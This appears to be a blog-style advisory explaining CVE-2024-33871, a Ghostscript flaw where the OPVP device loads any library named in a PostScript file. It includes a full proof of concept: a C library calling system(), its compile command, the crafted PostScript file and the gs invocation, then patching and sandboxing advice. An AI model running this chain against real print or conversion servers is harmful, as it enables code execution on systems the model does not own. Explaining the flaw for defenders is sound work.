In May 2024, a serious vulnerability (CVE-2024-33871) was found in Artifex Ghostscript—specifically, in all versions *before 10.03.1*. This bug lets attackers run any code they want on your computer simply by making you process a specially crafted PostScript file. If you use Ghostscript (for example, on a print server or for document conversion), you need to know about this.

Let’s break down what’s going on, see how attackers could use it, check out code snippets, and give you direct sources to learn more.

What is Ghostscript, and Why Does This Matter?

Ghostscript is a widely used interpreter for PostScript and PDF files. It’s at the heart of a lot of software, including Linux printing (CUPS), document viewers, and image converters.

If Ghostscript has a security flaw, attackers can easily target any service or application that uses it behind the scenes.

The Vulnerability: Arbitrary Library Loading with OPVP Devices

The root cause of CVE-2024-33871 is in the file contrib/opvp/gdevopvp.c. The code for OPVP (opvp) and OPRP (oprp) output devices allows a PostScript document to specify a Driver parameter as part of its device settings. The name given in Driver is treated as a dynamic library, and Ghostscript just loads it—*no validation, no path checks, nothing*.

Imagine the attacker sends a PostScript file that says:
“Hey, Ghostscript, load this dynamic library from this path.”
—And Ghostscript simply does it.

If the attacker can write a library to disk (like in /tmp) or point to a system library that does something odd, they can make Ghostscript execute any code.

A crafted PostScript file might include a call like

<<
  /OutputFile (output.prn)
  /DeviceName (opvp)
  /Driver (/tmp/myevildriver.so)
>> setpagedevice
showpage

How the attack works

1. The attacker gets their malicious shared library (myevildriver.so) onto the machine (or attacks a system with a weak /tmp or world-writable folder).

They send or trick the system into processing their PostScript file.

3. Ghostscript happily loads the attacker’s code, running it with whatever permissions the Ghostscript process has.

Result: Arbitrary code execution.

*On print servers, Ghostscript often runs as root—or with privileges to access a lot of sensitive files!*

Create the malicious shared library (myevildriver.c)

#include <stdio.h>
#include <stdlib.h>

// This function name depends on what Ghostscript expects
void opvp_init() {
    system("touch /tmp/ghostscript_pwned");
}

Compile it

gcc -shared -fPIC -o /tmp/myevildriver.so myevildriver.c

And the PostScript file

%!PS
<<
  /OutputFile (out.prn)
  /DeviceName (opvp)
  /Driver (/tmp/myevildriver.so)
>> setpagedevice
showpage

Now call Ghostscript (replace out.prn and myps.ps as needed)

gs -dBATCH -dNOPAUSE -sDEVICE=opvp -sOutputFile=out.prn myps.ps

If it works, /tmp/ghostscript_pwned will appear—demonstrating code execution.

The issue is in code that looks like

const char *driver = get_driver_parameter_from_ps();
void *handle = dlopen(driver, RTLD_LAZY); // NO CHECK AT ALL!

This pattern trusts attacker-supplied input, which is a classic security flaw.

- Web apps/print services that let users upload/process PS files or PDFs

Defense: How to Stay Safe

- Update Ghostscript to version 10.03.1 or newer.

Run Ghostscript in a sandbox (seccomp, Docker, AppArmor, chroot, etc).

- Never process untrusted PS/PDF files as root or in a high-privilege context.

- Official advisory (oss-security mailing list)
- Upstream Ghostscript changelog
- Example downstream advisory (Debian)

Final Thoughts

CVE-2024-33871 is a textbook example of why all code that runs input from users should *never* trust paths or filenames given by those users, especially when loading code or files.

If you run Ghostscript anywhere, update right now—and consider how you process PostScript and PDFs. One overlooked print workflow could become an attacker’s open backdoor.

Timeline

Published on: 07/03/2024 19:15:03 UTC
Last modified on: 07/08/2024 14:18:32 UTC